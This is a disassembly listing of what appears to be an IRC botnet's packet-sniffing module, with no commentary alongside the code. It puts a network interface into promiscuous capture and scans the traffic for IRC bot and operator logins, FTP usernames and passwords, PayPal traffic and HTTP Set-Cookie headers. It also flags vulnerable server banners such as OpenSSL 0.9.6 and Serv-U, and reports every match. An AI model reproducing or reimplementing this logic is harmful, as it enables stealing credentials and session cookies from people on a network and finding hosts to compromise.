		cmp	esi, 4
		jnz	short loc_411FA7


loc_411F8D:				; CODE XREF: sub_411CF5+291j
		push	[ebp+arg_0]
		jmp	short loc_411F99
; ---------------------------------------------------------------------------


loc_411F92:				; CODE XREF: sub_411CF5+287j
					; sub_411CF5+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax		; Source


loc_411F99:				; CODE XREF: sub_411CF5+29Bj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_strcat
		pop	ecx
		pop	ecx


loc_411FA7:				; CODE XREF: sub_411CF5+12Ej
					; sub_411CF5+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_4354E4
		jl	loc_411DDF
		cmp	[ebp+var_4], 0
		jz	loc_411D50
		push	[ebp+var_D8]
		call	sub_40B413
		pop	ecx
		push	0
		call	ds:dword_4270CC	; ExitThread
sub_411CF5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411FD6	proc near		; DATA XREF: sub_401ACD+412Bo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
Str		= byte ptr -1028Ch
Dest		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	__alloca_probe
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	esi
		call	dword_4CB654	; htons
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_4CB6D4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_4120AB
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_435EEC ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_41208E
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409A73
		add	esp, 14h


loc_41208E:				; CODE XREF: sub_411FD6+96j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_30]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread


loc_4120AB:				; CODE XREF: sub_411FD6+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_43E59C[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4CB680	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412130
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_435EC0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_41210C
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409A73
		add	esp, 14h


loc_41210C:				; CODE XREF: sub_411FD6+114j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_30]
		call	sub_40B413
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread


loc_412130:				; CODE XREF: sub_411FD6+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_4CB600	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4121B3
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_435E90 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_41218F
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409A73
		add	esp, 14h


loc_41218F:				; CODE XREF: sub_411FD6+197j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_30]
		call	sub_40B413
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread


loc_4121B3:				; CODE XREF: sub_411FD6+177j
		push	ebx
		mov	ebx, offset a_login ; ":.login"


loc_4121B9:				; CODE XREF: sub_411FD6+21Bj
					; sub_411FD6+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB66C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4122E6
		cmp	[ebp+var_102AB], 6
		jnz	short loc_4121B9
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_4121B9
		lea	eax, [ebp+Str]
		push	offset aPsniff_0 ; "[PSNIFF]"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4121B9
		lea	eax, [ebp+Str]
		push	offset asc_435E74 ; "-"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4121B9
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	loc_4121B9
		mov	[ebp+arg_0], ebx


loc_412242:				; CODE XREF: sub_411FD6+287j
		push	eax		; SubStr
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412264
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_412242
		jmp	loc_4121B9
; ---------------------------------------------------------------------------


loc_412264:				; CODE XREF: sub_411FD6+27Dj
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_102A0]
		call	dword_4CB584	; htons
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_4355BC[eax*8]
		push	off_435598[eax*4]
		lea	eax, [ebp+Dest]
		push	offset asc_435E40 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4122D4
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409A73
		add	esp, 14h


loc_4122D4:				; CODE XREF: sub_411FD6+2DCj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx
		jmp	loc_4121B9
; ---------------------------------------------------------------------------


loc_4122E6:				; CODE XREF: sub_411FD6+20Ej
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		push	offset asc_435E14 ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_41232C
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+var_B0]
		push	eax		; Str
		push	[ebp+var_B4]	; int
		call	sub_409A73
		add	esp, 14h


loc_41232C:				; CODE XREF: sub_411FD6+334j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_30]
		call	sub_40B413
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
sub_411FD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412352	proc near		; CODE XREF: sub_412661+213p
					; sub_412661+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE3C0, eax
		mov	eax, offset dword_4CE3C0
		retn
sub_412352	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_412361(char *Str)

sub_412361	proc near		; CODE XREF: sub_412661+2BFp

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237B


loc_412377:				; CODE XREF: sub_412361+29j
					; sub_412361+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237B:				; CODE XREF: sub_412361+14j
		push	offset aFaak	; "#FAAK#"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_2 ; "PSNIFF//"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aJoin_0	; "JOIN	#"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C3


loc_4123BF:				; CODE XREF: sub_412361+71j
					; sub_412361+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C3:				; CODE XREF: sub_412361+5Cj
		push	offset a302	; "302 "
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a366	; "366 "
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login_0 ; ":.login"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_0	; ":!login"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_1	; ":!Login"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login_1 ; ":.Login"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_ident	; ":.ident"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aIdent_0	; ":!ident"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset a_hashin	; ":.hashin"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset aHashin	; ":!hashin"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412361	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_412478(char *Str)

sub_412478	proc near		; CODE XREF: sub_412661+2F8p

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412492


loc_41248E:				; CODE XREF: sub_412478+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412492:				; CODE XREF: sub_412478+14j
		push	offset aFaak	; "#FAAK#"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248E
		push	offset aOper	; "OPER	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B8


loc_4124B4:				; CODE XREF: sub_412478+4Fj
					; sub_412478+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B8:				; CODE XREF: sub_412478+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aOper_0	; "oper	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412478	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4124EE(char *Str)

sub_4124EE	proc near		; CODE XREF: sub_412661+32Ep

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412508


loc_412504:				; CODE XREF: sub_4124EE+29j
					; sub_4124EE+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412508:				; CODE XREF: sub_4124EE+14j
		push	offset aFaak	; "#FAAK#"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset aNick_1	; "NICK	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset a220	; "220 "
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253F


loc_41253B:				; CODE XREF: sub_4124EE+60j
					; sub_4124EE+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253F:				; CODE XREF: sub_4124EE+4Bj
		push	offset a230	; "230 "
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aUser_2	; "USER	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aPass_0	; "PASS	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124EE	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_412575(char *Str)

sub_412575	proc near		; CODE XREF: sub_412661+35Fp

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258F


loc_41258B:				; CODE XREF: sub_412575+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258F:				; CODE XREF: sub_412575+14j
		push	offset aFaak	; "#FAAK#"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258B
		push	offset aPaypal	; "paypal"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B5


loc_4125B1:				; CODE XREF: sub_412575+4Fj
					; sub_412575+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B5:				; CODE XREF: sub_412575+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com ; "PAYPAL.COM"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com_0 ; "paypal.com"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412575	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4125FC(char *Str)

sub_4125FC	proc near		; CODE XREF: sub_412661:loc_412A26p

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412616


loc_412612:				; CODE XREF: sub_4125FC+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412616:				; CODE XREF: sub_4125FC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412612
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263C


loc_412638:				; CODE XREF: sub_4125FC+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263C:				; CODE XREF: sub_4125FC+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412638
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412661	proc near		; DATA XREF: sub_401ACD+427Do

Dst		= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
Str		= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
Dest		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB668	; gethostname
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB6D8	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx		; Size
		push	dword ptr [eax]	; Src
		lea	eax, [ebp+var_8]
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB6D4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412707
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412707:				; CODE XREF: sub_412661+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CB680	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277D
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4361C0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412759
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_30]	; int
		push	eax		; int
		lea	eax, [ebp+var_B4]
		push	eax		; Str
		push	[ebp+var_B8]	; int
		call	sub_409A73
		add	esp, 14h


loc_412759:				; CODE XREF: sub_412661+D6j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_41277D:				; CODE XREF: sub_412661+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB600	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412803
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_436190 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DF
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_30]	; int
		push	eax		; int
		lea	eax, [ebp+var_B4]
		push	eax		; Str
		push	[ebp+var_B8]	; int
		call	sub_409A73
		add	esp, 14h


loc_4127DF:				; CODE XREF: sub_412661+15Cj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_412803:				; CODE XREF: sub_412661+13Cj
		mov	esi, 200h


loc_412808:				; CODE XREF: sub_412661+1D6j
					; sub_412661+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+Dst]
		push	edi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB66C	; recv
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412808
		push	[ebp+var_113A4]
		mov	edi, ds:dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412808
		cmp	[ebp+arg_0], 19h
		jz	short loc_412808
		cmp	edi, 6Eh
		jz	short loc_412808
		cmp	edi, 19h
		jz	short loc_412808
		push	[ebp+var_113AC]
		call	sub_412352
		pop	ecx
		push	dword ptr [eax]
		call	ds:dword_4271E8	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_6	; "%s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+var_113A8]
		call	sub_412352
		add	esp, 10h
		push	dword ptr [eax]
		call	ds:dword_4271E8	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_6	; "%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		mov	[ebp+var_4], ebx
		push	eax		; Str
		call	_strlen
		add	esp, 10h
		test	eax, eax
		jle	short loc_412906


loc_4128D2:				; CODE XREF: sub_412661+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+Str], 0Dh
		lea	eax, [ebp+eax+Str]
		jnz	short loc_4128E9
		mov	byte ptr [eax],	20h


loc_4128E9:				; CODE XREF: sub_412661+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F1
		mov	byte ptr [eax],	20h


loc_4128F1:				; CODE XREF: sub_412661+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D2


loc_412906:				; CODE XREF: sub_412661+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B9
		cmp	edi, 50h
		jz	loc_4129B9
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_412361
		test	al, al
		pop	ecx
		jz	short loc_41294D
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43615C
		jmp	loc_4129E8
; ---------------------------------------------------------------------------


loc_41294D:				; CODE XREF: sub_412661+2C7j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_412478
		test	al, al
		pop	ecx
		jz	short loc_412983
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436128
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_412983:				; CODE XREF: sub_412661+300j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_4124EE
		test	al, al
		pop	ecx
		jz	short loc_4129B9
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4360F4
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_4129B9:				; CODE XREF: sub_412661+2A9j
					; sub_412661+2B2j ...
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_412575
		test	al, al
		pop	ecx
		lea	eax, [ebp+Str]
		push	eax
		jz	short loc_412A26
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset asc_4360BC ; "-"


loc_4129E8:				; CODE XREF: sub_412661+2E7j
					; sub_412661+320j ...
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412808
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_30]	; int
		push	eax		; int
		lea	eax, [ebp+var_B4]
		push	eax		; Str
		push	[ebp+var_B8]	; int
		call	sub_409A73
		add	esp, 14h
		jmp	loc_412808
; ---------------------------------------------------------------------------


loc_412A26:				; CODE XREF: sub_412661+36Ej
		call	sub_4125FC
		test	al, al
		pop	ecx
		jz	loc_412808
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436084
		jmp	short loc_4129E8
sub_412661	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A54	proc near		; DATA XREF: sub_401ACD+6543o

Dest		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= dword	ptr -18Ch
Str		= byte ptr -10Ch
Str1		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		lea	eax, [ebp+var_18C]
		push	eax		; int
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		lea	eax, [ebp+var_20C]
		push	eax		; Str
		lea	eax, [ebp+var_28C]
		push	eax		; int
		call	sub_412E40
		add	esp, 14h
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4361EC ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_412AE7
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_294]	; int
		call	sub_409A73
